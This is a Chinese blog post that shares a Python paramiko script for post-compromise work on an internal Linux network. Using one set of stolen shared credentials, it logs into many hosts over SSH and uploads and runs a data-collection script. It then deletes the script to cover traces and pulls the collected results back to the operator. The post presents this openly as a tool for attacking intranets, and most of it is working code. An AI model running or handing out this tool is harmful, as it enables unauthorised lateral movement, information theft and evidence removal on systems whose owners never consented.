溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

ssh批量登錄 上傳 執(zhí)行命令 下載文件

發(fā)布時(shí)間:2020-07-22 16:56:17 來(lái)源:網(wǎng)絡(luò) 閱讀:4077 作者:serverxx0 欄目:安全技術(shù)

用途:

  搞linux主機(jī)的內(nèi)網(wǎng),拿到通用的賬戶密碼,批量登錄,上傳系統(tǒng)信息收集腳本,把執(zhí)行的結(jié)果拉回本地,用于分析。

缺點(diǎn):

 不支持多線程  密碼必須正確切可連通  端口硬編碼為22 如果不是22 請(qǐng)自行修改

執(zhí)行過(guò)程:

  執(zhí)行ssh.py root root 會(huì)自動(dòng)登錄ssh,上傳本地文件目錄下的1.py文件到linux服務(wù)器tmp目錄,執(zhí)行/tmp/1.py文件,刪除/tmp/1.py文件,把1.py執(zhí)行的文件的生成的test.txt下載回本地。注意:下載的文件名已硬編碼在1.py文件28行,如果下載的文件是其他的名字 請(qǐng)自行修改(下載文件跟生成的文件是相互的  兩個(gè)文件都需要改動(dòng))

ssh批量登錄 上傳 執(zhí)行命令 下載文件

# -*- coding: utf_8 -*-
# Date: 2015/5/15
# author:sanr
import paramiko,time,sys,os
def README():
	print '+' + '-' * 50 + '+'
	print u'\t    	Python ssh批量登錄腳本'
	print u'\t    	  ip請(qǐng)寫(xiě)入iplist.txt	'
	print u'\t     	   Time:2015-5-15'
	print u'\t    	    author : sanr'
	print '+' + '-' * 50 + '+'
	if len(sys.argv) != 3:
		print  u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass"
		print  u'[+]實(shí)例:'+os.path.basename(sys.argv[0]) + " root root"
		sys.exit()
def upload(host,user,pswd):
	try:
		ssh = paramiko.Transport((host,22))
		ssh.connect(username = user, password = pswd)
		sftp = paramiko.SFTPClient.from_transport(ssh)
		sftp.put("./1.py","/tmp/1.py")
		print '[+]'+host,u'ssh已登陸',
		# 調(diào)用執(zhí)行命令函數(shù)
		ssh3(host,user,pswd)
		# 調(diào)用創(chuàng)建目錄函數(shù)
		mkdir(host)
		# 下載遠(yuǎn)程主機(jī)文件
		sftp.get("/tmp/test.txt", "./"+host+"/result.txt")
		print u'信息收集結(jié)果已成功下載'
		ssh.close()
	except:
		pass

def ssh3(host,user,pswd):
	try:
		ssh = paramiko.SSHClient()
		ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
		ssh.connect(host,22,user,pswd, timeout=5)
		#stdin, stdout, stderr = ssh.exec_command('ifconfig;free')
		#print stdout.read()
		#執(zhí)行命令 修改上傳1.py的代碼權(quán)限為777 執(zhí)行1.py腳本  刪除1.py腳本
		stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py')
		ssh.close()
	except:
		pass
def mkdir(path):
    # 引入模塊
    import os
    # 判斷路徑是否存在
    # 存在     True
    # 不存在   False
    isExists=os.path.exists(path)
    # 判斷結(jié)果
    if not isExists:
        # 創(chuàng)建目錄操作函數(shù)
        os.makedirs(path)
		# 如果不存在則創(chuàng)建目錄
        print  u' 創(chuàng)建目錄成功',
        return True
    else:
        # 如果目錄存在則不創(chuàng)建,并提示目錄已存在
        print   u'本地目錄已存在',
        return False

if __name__=='__main__':
	README()
	start_time = time.time()
	with open('./iplist.txt', 'r') as f:
		for ip in  f:
			host=ip.strip()
			user=sys.argv[1]
			pswd=sys.argv[2]
			upload(host,user,pswd)
	print u'[+] 報(bào)告大爺 信息已收集完畢,用時(shí):%d 秒' % (time.time() - start_time)		


附件:http://down.51cto.com/data/2365680
向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI